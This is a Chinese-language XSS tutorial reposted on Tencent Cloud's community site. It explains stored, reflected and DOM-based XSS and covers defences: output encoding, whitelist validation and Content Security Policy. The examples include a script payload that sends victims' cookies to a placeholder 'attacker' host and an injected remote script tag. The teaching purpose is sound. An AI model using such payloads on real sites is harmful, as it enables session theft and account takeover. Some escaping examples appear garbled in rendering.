干货 | 这一次彻底讲清楚XSS漏洞

网络安全自修室

发布于 2022-05-16 15:18:56

9900

发布于 2022-05-16 15:18:56

文章被收录于专栏：网络安全自修室网络安全自修室

免责声明

本号提供的工具、教程、学习路线、精品文章均为原创或互联网收集，旨在提高网络安全技术水平为目的，只做技术研究，谨遵守国家相关法律法规，请勿用于违法用途，如有侵权请联系小编处理。

内容速览

一、XSS 概述

什么是XSS？

Cross-site scripting(XSS)是一种能够在他人浏览器中执行恶意 JavaScript代码的代码注入攻击。

攻击者不需要直接接触受害者。他可以直接利用受害者访问的网站的漏洞来让恶意代码在其浏览器中执行。对于受害者的浏览器来说，恶意的 JavaScript 代码表现的就像是网站合法的一部分，而网站的行为也完全不像是攻击者的帮凶。

具体可以参考之前写过的XSS相关文章：超详细XSS跨站脚本漏洞总结、干货笔记！一文讲透XSS(跨站脚本)漏洞

恶意的 JavaScript 代码是如何被注入的？

让攻击者能在受害者浏览器上运行恶意代码的唯一方式就是在受害者要访问的网站中的某一个页面里注入代码。这会发生在网站直接在它的页面中包含加载了用户输入，这样攻击者就可以在页面中插入字符串，这段字符串会被受害者的浏览器当做代码执行。

在下面的例子中，一个简单的服务器脚本被用来展示网站上最新的评论：

print "<html>"
print "Latest comment:"
print database.latestComment
print "</html>"

这段脚本假设评论仅包含文本。然而，用户输入被直接加载了，攻击者可以提交这样的评论：<script>...<script>。任何用户访问页面都会接收到下列回应：

<html>
Latest comment:
<script>...</script>
</html>

当用户浏览器加载了页面后，它将执行包含在<script> 标签中的任意 JavaScript 脚本。攻击者已经成功地实施了攻击。

什么是恶意 JavaScript 脚本？

起初，能在受害者的浏览器中执行 JavaScript 脚本看起来并不是那么恶意。毕竟 JavaScript 运行在一个及其受限的环境，很难访问用户文件和操作系统。事实上，你可以打开你的浏览器的控制台（console）并执行任何 JavaScript 代码，你会发现你很难对你的计算机造成什么实质的损害。

然而，JavaScript 代码也是有可能变得很有恶意的，尤其是当你考虑下列情况时：

JavaScript 代码访问了一些用户敏感信息，例如：cookies。
JavaScript 代码可以使用 XMLHttpRequest和其他机制来发送包含任何内容的 HTTP 请求到任意目的地。
JavaScript 代码可以通过使用 DOM 操作来对当前页面的 HTML 文件做任意修改。这些情况组合在一起会导致非常严重的安全问题，也是我接下来会解释的。

恶意 JavaScript 脚本带来的后果

在其他用户的浏览器上执行任意 JavaScript 代码允许攻击者实施下列攻击：

Cookie 剽窃：攻击者可以使用document.cookie 来访问受害者与网站相关的 cookies，将它们发送到自己的服务器，并用它们来获取像 session IDs 之类的敏感信息。
键盘记录：攻击者可以使用addEventListener 来登记一个键盘事件监听器，然后发送所有的用户按键记录到他自己的服务器，可能会记录像密码和银行卡号这样的敏感信息。
网络钓鱼：攻击者可以使用 DOM 操作在页面中插入假的登录表单，设置表单的 action 到自己的服务器，之后欺骗用户提交敏感信息。

尽管这些攻击有明显的不同，但它们都有一个关键的相似点：因为攻击者将代码注入了网站服务器的页面中，这些恶意代码将会在网站的上下文中运行。这意味着这些恶意代码会被网站当成普通代码对待：它可以访问受害者在该网站上的数据（例如：Cookies）和在URL中显示的主机名。无论出于什么目的和企图，恶意代码都会被当做网站上合法的一部分对待，可以做这个网站能做的任何事情。

这个事实强调了一个关键问题：

如果一个攻击者可以利用你的网站在其他人的浏览器上执行任意 JavaScript 代码，你的网站和用户的安全都是存在问题的。

为了强调这一点，教程中的一些示例将会适用<script>...</script>省去恶意代码的细节。这表明能被注入代码的地方才是问题所在，而不是被执行的恶意代码。

二、XSS 攻击

XSS攻击中的角色

在我们描述 XSS 攻击的细节前，我们需要定义 XSS 攻击中涉及到的角色。事实上，一次 XSS 攻击涉及3个角色：网站、受害者和攻击者 。网站提供 HTML 页面给请求它的用户。

网站的数据库保存一些会被加载到网站页面的用户输入。
攻击者的服务器是由他本人控制的网络服务器，唯一的目的是保存受害者的敏感信息。

一个攻击场景示例

在这个例子中，我们假设攻击者的最终目标是通过利用网站的 XSS 漏洞来偷窃受害者的 cookies。这可以通过在受害者的浏览器中执行下列代码实现：

<script>
window.location='http://attacker/?cookie='+document.cookie
</script>

这段代码将用户浏览器导航到一个不同的 URL，触发一个到攻击者服务器的 HTTP 请求。这段 URL 将受害者的 cookies 作为参数包含其中，这样攻击者就能在请求到达时获取到 cookies。一旦攻击者得到了 cookies，他就可以利用它来伪装成受害者，开展后续攻击。

从现在开始，上面这段代码将被称为恶意字符串或恶意脚本。

示例攻击的工作流程

下面的图展示了攻击者是如何开展示例攻击的：

攻击者利用网站表单将恶意字符串插入网站数据库。
受害者从网站请求页面。
网站将恶意字符串从数据库中取出并包含在响应中发给受害者。
受害者浏览器执行包含在响应中的恶意脚本，发送受害者的 cookies 到攻击者的服务器。

XSS 的类型

尽管 XSS 攻击的目标总是在受害者的浏览器中执行一些恶意代码，完成这个目标的方式还是会有些许区别。XSS 攻击通常被分为下面三类：

持久化 XSS：恶意代码通常来自网站数据库。
反射式 XSS：恶意代码通常来自用户请求。
基于 DOM 的XSS：漏洞通常在客户端而非服务端。上一个例子里展示了持久化 XSS 攻击。现在我们将描述另外两种类型的 XSS 攻击：反射式 XSS 和基于 DOM 的 XSS。

反射式 XSS

在反射式 XSS 攻击中，恶意字符串是受害者向网页发出的 request 的一部分。网站之后会将包含恶意字符串的响应返回给用户。下图展示了该过程：

1.攻击者构造了一个包含恶意字符串的 URL 并发送给受害者。

2.受害者被欺骗，向网站发送 URL。

3.网站从 URL 中加载恶意代码作为响应。

4.受害者浏览器执行响应中的恶意代码，发送受害者的 cookies 到攻击者的服务器。

反射式 XSS 是如何成功的？

首先反射式 XSS 看起来危害更小，因为它要求受害者自己来发送包含恶意字符串的请求。因为没有人愿意攻击他自己，这看起来没办法实施这种攻击。

然而事实证明，至少有两种方式会导致受害者自己启动反射式 XSS 来攻击他自己。

如果攻击者的目标是一个特定个体，攻击者可以发送恶意 URL 给受害者（例如使用电子邮箱、及时通讯方式等）并欺骗它们访问。
如果攻击者的目标是很多人，攻击者可以发布一个包含恶意 URL 的链接（例如在他自己的网站或社交网络上）并等待访问者点击。这两种方法是相似的，并且在使用短链的情况下更可能成功，短链能遮挡住恶意字符串，防止被用户识别出来。

基于 DOM 的 XSS

基于 DOM 的 XSS 是持久化和映射 XSS 的一个变种。在基于 DOM 的 XSS 攻击中，恶意字符串并没有被受害者的浏览器解析，直到网站的合法 JavaScript 代码被执行。下图展示了基于 DOM 的 XSS 攻击场景：

1.攻击者构造了一个包含恶意字符串的 URL 并发送给受害者。

2.受害者被攻击者欺骗，向网站发送 URL。

3.网站收到了请求，但并没有将恶意字符串包含在响应中。

4.受害者的浏览器执行了响应中的合法代码，造成恶意脚本被插入页面。

5.受害者的浏览器执行了页面中的恶意脚本，发送了受害者的 cookies 到攻击者的服务器。

基于 DOM 的 XSS 攻击不同的地方

在之前的关于持久化和映射的 XSS 攻击的例子中，服务器在页面中插入了恶意脚本，这将会作为发送给受害者的响应。当受害者的浏览器接收到响应后，它会把恶意脚本作为页面合法内容的一部分并自动在页面加载其它脚本的时候执行它。

然而在基于 DOM 的 XSS 攻击示例中，没有恶意代码被插入到页面中；唯一被自动执行的脚本是页面本身的合法脚本。问题在于合法脚本会直接利用用户输入在页面中添加 HTML 代码。因为恶意字符串是通过innerHTML 插入页面的，它将会被解析成 HTML，造成恶意脚本被执行。

不同之处很微妙但也很重要：

在传统的 XSS 中，恶意脚本作为页面的一部分?服务器发送并在页面被加载时执行。
在基于 DOM 的 XSS 攻击中，恶意脚本是在页面已经被加载一段时间后执行，由页面的合法代码用不安全的方式对待用户输入导致。

为什么基于 DOM 的 XSS 攻击很重要

在之前的例子中，JavaScript 并不是必要的；服务器会自己生成所有的 HTML。如果服务端的代码是没有漏洞的，网站就不会受到 XSS 攻击。

然而，随着 Web 应用变得更加高级，HTML 代码通过客户端的 JavaScript 代码生成而不是通过服务端。任何时候内容都需要在不刷新整个页面的情况下改变，这种更新必须通过 JavaScript 执行。更为具体的，这种情况下，页面是通过一个 AJAX 请求后更新的。

这意味着 XSS 漏洞不仅会出现在你的网站的服务端代码，也会出现在客户端的 JavaScript 代码。因此，即使你的服务端代码是完全安全的，客户端代码也可能会因为在页面被加载后执行了包含用户输入的 DOM 更新而变得不安全。如果这种情况发生了，客户端代码就会在服务端没有问题的情况下触发 XSS 漏洞。

基于 DOM 的 XSS 对于服务端是不可见的

在基于 DOM 的 XSS 攻击中有一个非常特殊的地方，那就是恶意字符串从开始就没有被发送给服务端。浏览器没有发送恶意代码，所以服务器也就没有办法利用服务端代码进行检查。然而，客户端代码会用不安全的方式来处理它，从而导致 XSS 漏洞。

三、预防 XSS 攻击

预防 XSS 的方法

XSS 攻击实质上是一种代码注入：用户输入被错误的解释成了恶意程序代码。为了防止这种类型的代码注入，安全输入的处理是有必要的。对于 Web 开发者来说，有两种基本的方式来进行安全输入检查：

编码：这将转义用户输入，使得浏览器仅仅解释数据而非代码。
验证：过滤用户输入，使得浏览器解释代码而非恶意命令。这是很基础的预防 XSS 的方法，它们有几点共同的特征，理解这些是非常重要的：
Context：安全输入检查需要被区别对待，这取决于用户输入在页面的何处被插入。
Inbound/outbound：安全输入检查既可以在你的网站接受输入（inbound）时执行，也可以在你的网站将输入插入到页面之前执行（outbound）。
Client/server：安全输入检查可以在客户端执行也可以在服务端，在某些情况下甚至都要执行。在解释如何编码和验证的工作细节之前，我将先描述一下这些关键点。

输入检查上下文

在网页中，用户输入可能会插入的地方会有许多上下文。对于每一种上下文，都必须遵循特定的规则使得用户输入不会打破自己的上下文和被解释成恶意代码。

为什么上下文很重要？

在上面提到的上下文中，用户输入如果没有经过编码或验证就直接插入将会使得出现 XSS 漏洞的概率大幅提高。攻击者可以通过简单地插入分隔符并在后面加入恶意代码来进行注入攻击。

例如，网站如果直接将用户输入作为 HTML 属性插入，攻击者便能够通过在输入起始处输入引号来注入恶意代码，如下所示：

这是可以通过简单地删除所有用户输入中的引号避免的，仅仅在这种上下文中。如果同样的输入被注入到另一处上下文，结尾分隔符可能会改变，注入就很难成功了。因此，安全输入检查往往需要根据用户输入在哪被注入来进行定制。

Inbound/outbound 输入检查

直观上看，好像所有的 XSS 问题都可以通过在网站接收到用户输入时对其进行编码或验证来防范。通过这种方式，任何恶意字符串都应该在被包含进页面时被过滤了。

就像上文提到的，问题在于，用户输入可以被插入页面的几处上下文中。没有很轻松的方法来判断什么时候用户输入会出现在它最终被注入的上下文中，而同样的用户输入通常需要被插入到不同的上下文中。依赖入站输入检查来预防 XSS 是非常脆弱的方法，并会导致一系列问题。（已经被废弃的 PHP 特性"magic quotes" 就是一个典型的例子。）

然而出站输入处理应该成为你对抗 XSS 的基本方法，因为它会考虑到用户输入将被插入处的具体上下文。而入站验证仍然可以成为第二道防线，我们会在之后讨论。

在哪执行安全输入检查

在大多数现代的网站应用中，用户输入会同时被服务端和客户端处理。为了预防所有类型的 XSS 攻击，安全输入检查必须同时在客户端和服务端进行。

为了预防传统的 XSS 攻击，安全输入检查必须考虑服务端的代码。这可以通过服务器上使用的任何语言来支持。
为了预防基于 DOM 的 XSS 攻击，安全输入检查必须考虑客户端代码。这可以通过 JavaScript 代码来支持。

编码

编码是一种转义用户输入的操作，使得浏览器仅仅解释数据而非代码。在 web 开发中最常使用的编码方式是 HTML 转义，这将把字符 ’<‘ 和 '>'分别转义成 ‘<’ 和 ‘>’ 。

下面的伪代码展示了用户输入时如何通过 HTML 转义编码并通过服务端脚本插入页面的：

print "<html>"
print "Latest comment: "
print encodeHtml(userInput)
print "</html>"

如果用户输入时字符串 <strong/>

<html>
Latest comment:
&lt;script&gt;...&lt;/script&gt;
</html>

因为有特殊含义的字符串都被转义了，浏览器将不会解释执行任何用户输入。

在客户端和服务端的编码

对客户端代码进行编码时，使用的语言一般是 JavaScript，它有内置函数来对不同上下文的数据编码。

对服务端代码进行编码时，你依赖服务端使用的语言或框架提供的函数。因为有大量的语言和框架可用，本篇教程将不会覆盖任何特定服务端语言或框架的编码细节。然而，当你在写服务端代码时，和客户端的 JavaScript 相似的编码函数是有用的。

在客户端的编码

当在客户端使用 JavaScript 编码用户输入时，有几种内置方法和属性可以通过上下文敏感的方式自动编码所有数据：

上文提到的最后一个上下文（JavaScript 值）没有被包含进该表中，因为 JavaScript 并没有提供内置的方法来编码被包含进 JavaScript 源代码的数据。

编码的局限

即使有编码，仍然有可能将恶意字符串注入一些上下文中。一个典型的例子就是用户输入被用来提供 URLs，例如下面这个例子：

document.querySelector('a').href = userInput

即使赋值给 ‘href’ 属性会自动编码，使得所赋的值仅仅是一个属性值，这将无法阻止攻击者插入一段“javascript:”开头的 URL。当该链接被点击后，嵌入其中的 javascript 代码将会执行。

当你真的想让用户定义部分页面代码时，编码是一个不充分的解决方案。例如在用户的个人主页中，用户可以自定义 HTML。如果自定义的 HTML 被编码了，个人主页就只能包含纯文本。

在这种情况下，编码就需要验证来补充，这就是我们接下来会描述的。

验证

验证是一种过滤用户输入的操作，它将恶意部分删除，保留必要的部分。在 web 开发中最常使用的验证方式之一就是允许一些 HTML 元素（例如 <em> 和 <strong>）禁止其它的（例如 <script>）。

有两种主要的验证方法，它们在实现上有些区别：

分类策略：用户输入按黑名单和白名单被分类。
验证结果：被认定为恶意的用户输入会被拒绝或清除。

分类策略

黑名单

直观上看，通过规定不能在用户输入中出现的内容来定义一个禁止模板是很合适的验证方式。如果一个字符串匹配了这个模板，它将会被标记为不可用。例如允许用户提交除了javacript::之外的任何协议。这种策略称之为黑名单。

然而，黑名单有两个主要的缺点：

复杂：准确地描述所有可能的恶意字符串集合通常是一个非常复杂的任务。上文描述的策略无法通过简单地搜索字符串“javascript”实现，因为这将会遗漏掉这种形式“Javascript”（首字母大写）和“javascript:”（首字母被编码成数字和字符引用）。
过时：即使使用了完美的黑名单，在浏览器添加了新的可以被恶意使用的特性后，还是会失效。例如，在 HTML5 的 onmousewheel 属性被引入前使用的黑名单将无法阻止攻击者利用该属性来进行 XSS 攻击。这个缺点在 web 开发中尤其显著，因为它由多种技术组成并且经常更新。因为这些缺点，将黑名单作为分类策略是非常不合适的。白名单通常是一个更安全的方法。

白名单

白名单本质上和黑名单相反，不同于定义一个禁止模板，白名单定义一个认可模板，将不匹配模板的输入认定为非法的。

不同于之前的黑名单的例子，白名单的例子将允许用户只能提交包含 http: 和 https: 协议的URLs。如果有javascript: 协议，这种方法会自动标记 URLs 非法，也包括"Javascript:“或"javascript:”。

和黑名单相比，白名单有下列两点好处：

简单：准确地描述安全字符串集合通常比描述恶意字符串集合简单。在浏览器中，用户输入仅仅需要包含非常有限的可用函数子集。这种情况下，白名单的简单性就显得尤其有效了。例如，上面的白名单仅仅允许用户使用http:和https:协议。这很简单，也能满足大部分用户的需求。
长寿：不同于黑名单，白名单通常不会在新特性被添加到浏览器时过时。例如，HTML 中的白名单验证仅仅允许 title属性出现在 HTML 元素中，即使在引入了 HTML5 中的 onmousewheel属性，也是安全的。

验证结果

当输入被标记为无效时，下列的两个动作之一将会执行：

拒绝：输入被简单地拒绝，防止它在网站的任何地方使用。
清除：所有的无效输入都被删除，保留网站中允许使用的有效部分。

这两种方法中，“拒绝”是实现起来最简单的方法。也就是说，“清除”是更有用的，因为它允许来自用户的大范围的输入。例如，用户提交了身份证号码，一个“清除”线程会删除所有非数字字符来防止代码注入，同时允许用户在输入时选择是否加入连字符。

如果你决定实现“清除”方法时，你必须确保“清除”线程自身没有使用黑名单方法。例如，URL “Javascript:…”，当使用白名单方式确认为无效时，将被传递给“清除”线程简单地删除所有“javascript:”实例。出于这个考虑，在任何时候都应该考虑使用良好测试过的库和框架用于“清除”。

使用哪一种防御技术

编码应该是你防御 XSS 的第一道防线，因为它的目的就是中和数据使它无法被解释成代码。在某些情况下，编码需要被验证补全。编码和验证应该用在出站的时候，因为只有当输入被加载进页面的时候，你才知道哪段上下文需要被编码和验证。

作为第二道防线，你应该使用入站验证来清除或拒绝明显无效的数据，例如使用javascript:协议的链接。虽然它无法提供完善的安全，但能为由于错误和异常导致的出站编码和验证无法执行的情况提供有效预警。

如果这两条防御能一直保持使用，你的网站将能够抵御 XSS 攻击。然而，由于创建和维护一个完整网站的复杂性，仅仅使用安全输入处理来完成完全的保护是非常困难的。而作为第三道防线，你应该充分利用内容安全策略（CSP）。

内容安全策略（CSP）

仅仅使用安全输入检查防御 XSS 攻击的缺点在于即使一个很小的安全疏漏都会对你的网站造成危害。最近被称为内容安全策略（CSP）的网站标准可以缓解这种风险。

CSP 被用来约束浏览器查看你的页面，使得浏览器只能使用从信任源下载的资源。该资源可以是一段脚本，一个样式表，一张图片或者一些其它类型的被页面引用的文件。这意味着攻击者即使攻击成功在你的网站插入了恶意内容，CSP 可以防止它被执行。

CSP 可以用来执行下列规则：

拒绝非信任源：额外的资源只能从清楚定义的信任源集合中加载。
拒绝内联资源：内联的 JavaScript 和 CSS 将不会被执行。
拒绝 eval：JavaScript 的 eval() 将不会被执行。

CSP 实例

在下面的例子中，攻击者已经成功在页面中注入了恶意代码：

<html>
Latest comment:
<script src="http://attacker/malicious‑script.js"></script>
</html>

在一份合理定义的 CSP 策略的保护下，浏览器将不会加载并执行maliciout-script.js。因为http://attacter/ 不在信任源集合中。尽管在这个示例中，网站没能成功处理用户输入，CSP 策略避免了这个漏洞造成任何实质性的伤害。

如何执行 CSP

默认情况下，浏览器不执行 CSP。为了让 CSP 在你的网站上执行，页面必须提供额外的 HTTP 头：Content-Security-Policy。任何提供了这种 http 头的页面将根据加载它的浏览器执行 CSP，浏览器本身需要支持CSP。

因为安全策略在每一次 HTTP 响应时都被发送，对服务器来说可能需要逐页设置。可以通过在每份响应中提供同样的 CSP 头来将同样的策略应用在整个网站上。

CSP头的值是一段定义了一个或多个在你的网站上生效的安全策略的字符串。字符串的语法将在下文描述。

注意：本节中的示例 HTTP 头出于清晰的目的用到了新行和缩进；这将不会出现在真实的 HTTP 头中。

CSP的语法

CSP头的语法如下：

Content‑Security‑Policy:
    directive source‑expression, source‑expression, ...;
    directive ...;
    ...

语法由两个元素组成：

“Directives” 是指定一种资源类型的字符串，来自预定义的列表。
“Source expressions” 是一套模板，用来描述一个或多个可以下载资源的服务器。对于每个“directive”，给定的“source expressions”定义了哪种源服务器可以用来下载哪种特定类型的资源。

Directives

可以用在 CSP 头中的 "directives"如下：

connect‑src
font‑src
frame‑src
img‑src
media‑src
object‑src
script‑src
style‑src

除此之外，还有一个特殊的"directive" default-src可以用来为所有没有包含在 CSP 头中的"directive"提供默认值。

Source expressions

"source expressions"的语法如下：

protocol://host‑name:port‑number

主机名可以用”.“开头，这意味着被提供的主机名的任何子域名都是允许的。同理，端口号也可以是”“，这表示所有的端口号都是被允许的。额外地，协议和端口号也可以省略。最后，协议也可由它自身给出，这使得所有资源通过 HTTPs 加载成为可能。

除了上述的语法之外，"source expression"可以选择有特殊意义的四个关键字之一（包括引号）：

‘none’:不允许任何资源。
‘self’:允许提供页面的主机的资源。
‘unsafe-inline’:允许嵌入页面的内联，例如：内联 <script>元素， <style>元素和 javascript: URLs。
‘unsafe-eval’:允许使用 JavaScript 的 eval()。

注意，在 CSP 使用期间，内联资源和 eval()都是默认不允许的。使用’unsafe-inline’和’unsafe-eval’是唯一允许使用它们的方式。

策略实例

Content‑Security‑Policy:
    script‑src 'self' scripts.example.com;
    media‑src 'none';
    img‑src *;
    default‑src 'self' http://*.example.com

在这个策略实例中，页面有下述限制：

脚本仅能从提供页面的主机和`scripts.example.com上下载。
音频和视频文件无法从任何地方下载。
图片文件可以从任何主机下载。
其他资源可以从提供页面的主机和任何 example.com的子域下载。

CSP 的状态

直到2013年6月，内容安全协议都是 W3C 推荐的。它已经由浏览器供应商实现，但少部分还是浏览器特定的。特别地，在不同的浏览器中使用，HTTP 头是不同的。现在，可以通过查询你的网站将要支持的浏览器文档来获取更多信息。

四、总结

总结：XSS 概述

XSS 是一种代码注入攻击，使得不安全地处理用户输入成为可能。
一次成功的 XSS 攻击允许攻击者在受害者的浏览器上执行恶意代码。
一次成功的 XSS 攻击同时危害网站和用户的安全。

总结：XSS 攻击

XSS 攻击有三种主要类型：

持久化 XSS：恶意输入来自网站数据库。
反射式 XSS：恶意输入来自用户请求。
基于 DOM 的 XSS：漏洞在客户端代码而不是服务端代码。

总结：预防 XSS 攻击

预防 XSS 攻击的最重要的方式就是进行安全输入检查。

大多数时候，”编码“在用户输入被加载进页面时执行。
在某些时候，”编码“需要被”验证“替换或补充。
安全输入检查必须考虑用户输入被插入处的页面上面上下文。
为了抵御所有类型的 XSS 攻击，安全输入检查必须同时在客户端和服务端进行.

本文参与腾讯云自媒体分享计划，分享自微信公众号。

原始发表：2022-04-16，如有侵权请联系 cloudcommunity@tencent.com 删除

网络安全

本文分享自网络安全自修室微信公众号，前往查看

如有侵权，请联系 cloudcommunity@tencent.com 删除。

本文参与腾讯云自媒体分享计划，欢迎热爱写作的你一起参与！

登录后参与评论

0 条评论

热度